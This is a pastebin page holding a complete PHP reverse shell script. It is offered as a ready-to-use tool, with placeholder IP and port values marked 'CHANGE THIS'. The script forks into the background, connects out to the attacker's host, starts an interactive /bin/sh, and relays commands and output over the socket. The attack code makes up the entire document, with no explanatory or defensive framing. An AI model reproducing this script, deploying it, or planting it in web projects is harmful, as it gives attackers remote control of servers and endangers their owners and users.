SHOW:
|
|
- or go back to the newest paste.
| 1 | <?php | |
| 2 | // cloned from: http://pastebin.com/UW4FR1hv | |
| 3 | ||
| 4 | set_time_limit (0); | |
| 5 | $VERSION = "1.0"; | |
| 6 | $ip = '127.0.0.1'; // CHANGE THIS | |
| 7 | $port = 1234; // CHANGE THIS | |
| 8 | $chunk_size = 1400; | |
| 9 | $write_a = null; | |
| 10 | $error_a = null; | |
| 11 | $shell = 'uname -a; w; id; /bin/sh -i'; | |
| 12 | $daemon = 0; | |
| 13 | $debug = 0; | |
| 14 | ||
| 15 | // | |
| 16 | // Daemonise ourself if possible to avoid zombies later | |
| 17 | // | |
| 18 | ||
| 19 | // pcntl_fork is hardly ever available, but will allow us to daemonise | |
| 20 | // our php process and avoid zombies. Worth a try... | |
| 21 | if (function_exists('pcntl_fork')) {
| |
| 22 | // Fork and have the parent process exit | |
| 23 | $pid = pcntl_fork(); | |
| 24 | ||
| 25 | if ($pid == -1) {
| |
| 26 | printit("ERROR: Can't fork");
| |
| 27 | exit(1); | |
| 28 | } | |
| 29 | ||
| 30 | if ($pid) {
| |
| 31 | exit(0); // Parent exits | |
| 32 | } | |
| 33 | ||
| 34 | // Make the current process a session leader | |
| 35 | // Will only succeed if we forked | |
| 36 | if (posix_setsid() == -1) {
| |
| 37 | printit("Error: Can't setsid()");
| |
| 38 | exit(1); | |
| 39 | } | |
| 40 | ||
| 41 | $daemon = 1; | |
| 42 | } else {
| |
| 43 | printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
| |
| 44 | } | |
| 45 | ||
| 46 | // Change to a safe directory | |
| 47 | chdir("/");
| |
| 48 | ||
| 49 | // Remove any umask we inherited | |
| 50 | umask(0); | |
| 51 | ||
| 52 | // | |
| 53 | // Do the reverse shell... | |
| 54 | // | |
| 55 | ||
| 56 | // Open reverse connection | |
| 57 | $sock = fsockopen($ip, $port, $errno, $errstr, 30); | |
| 58 | if (!$sock) {
| |
| 59 | printit("$errstr ($errno)");
| |
| 60 | exit(1); | |
| 61 | } | |
| 62 | ||
| 63 | // Spawn shell process | |
| 64 | $descriptorspec = array( | |
| 65 | 0 => array("pipe", "r"), // stdin is a pipe that the child will read from
| |
| 66 | 1 => array("pipe", "w"), // stdout is a pipe that the child will write to
| |
| 67 | 2 => array("pipe", "w") // stderr is a pipe that the child will write to
| |
| 68 | ); | |
| 69 | ||
| 70 | $process = proc_open($shell, $descriptorspec, $pipes); | |
| 71 | ||
| 72 | if (!is_resource($process)) {
| |
| 73 | printit("ERROR: Can't spawn shell");
| |
| 74 | exit(1); | |
| 75 | } | |
| 76 | ||
| 77 | // Set everything to non-blocking | |
| 78 | // Reason: Occsionally reads will block, even though stream_select tells us they won't | |
| 79 | stream_set_blocking($pipes[0], 0); | |
| 80 | stream_set_blocking($pipes[1], 0); | |
| 81 | stream_set_blocking($pipes[2], 0); | |
| 82 | stream_set_blocking($sock, 0); | |
| 83 | ||
| 84 | printit("Successfully opened reverse shell to $ip:$port");
| |
| 85 | ||
| 86 | while (1) {
| |
| 87 | // Check for end of TCP connection | |
| 88 | if (feof($sock)) {
| |
| 89 | printit("ERROR: Shell connection terminated");
| |
| 90 | break; | |
| 91 | } | |
| 92 | ||
| 93 | // Check for end of STDOUT | |
| 94 | if (feof($pipes[1])) {
| |
| 95 | printit("ERROR: Shell process terminated");
| |
| 96 | break; | |
| 97 | } | |
| 98 | ||
| 99 | // Wait until a command is end down $sock, or some | |
| 100 | // command output is available on STDOUT or STDERR | |
| 101 | $read_a = array($sock, $pipes[1], $pipes[2]); | |
| 102 | $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); | |
| 103 | ||
| 104 | // If we can read from the TCP socket, send | |
| 105 | // data to process's STDIN | |
| 106 | if (in_array($sock, $read_a)) {
| |
| 107 | if ($debug) printit("SOCK READ");
| |
| 108 | $input = fread($sock, $chunk_size); | |
| 109 | if ($debug) printit("SOCK: $input");
| |
| 110 | fwrite($pipes[0], $input); | |
| 111 | } | |
| 112 | ||
| 113 | // If we can read from the process's STDOUT | |
| 114 | // send data down tcp connection | |
| 115 | if (in_array($pipes[1], $read_a)) {
| |
| 116 | if ($debug) printit("STDOUT READ");
| |
| 117 | $input = fread($pipes[1], $chunk_size); | |
| 118 | if ($debug) printit("STDOUT: $input");
| |
| 119 | fwrite($sock, $input); | |
| 120 | } | |
| 121 | ||
| 122 | // If we can read from the process's STDERR | |
| 123 | // send data down tcp connection | |
| 124 | if (in_array($pipes[2], $read_a)) {
| |
| 125 | if ($debug) printit("STDERR READ");
| |
| 126 | $input = fread($pipes[2], $chunk_size); | |
| 127 | if ($debug) printit("STDERR: $input");
| |
| 128 | fwrite($sock, $input); | |
| 129 | } | |
| 130 | } | |
| 131 | ||
| 132 | fclose($sock); | |
| 133 | fclose($pipes[0]); | |
| 134 | fclose($pipes[1]); | |
| 135 | fclose($pipes[2]); | |
| 136 | proc_close($process); | |
| 137 | ||
| 138 | // Like print, but does nothing if we've daemonised ourself | |
| 139 | // (I can't figure out how to redirect STDOUT like a proper daemon) | |
| 140 | function printit ($string) {
| |
| 141 | if (!$daemon) {
| |
| 142 | print "$string\n"; | |
| 143 | } | |
| 144 | } | |
| 145 | ||
| 146 | ?> |